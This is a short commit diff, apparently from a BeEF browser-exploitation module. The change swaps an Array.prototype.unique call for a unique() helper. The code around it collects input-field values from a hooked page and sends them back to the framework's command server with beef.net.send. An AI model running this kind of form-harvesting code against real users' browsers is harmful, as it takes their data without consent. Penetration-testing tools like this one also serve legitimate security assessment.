Replaced Array.prototype.unique with a cleaner jQuery equivalent
This commit is contained in:
@@ -25,7 +25,7 @@ beef.execute(function() {
|
||||
|
||||
// return input field info
|
||||
if (input_values.length) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(input_values.unique()));
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values)));
|
||||
// return if no input fields were found
|
||||
} else {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location);
|
||||
|
||||
Reference in New Issue
Block a user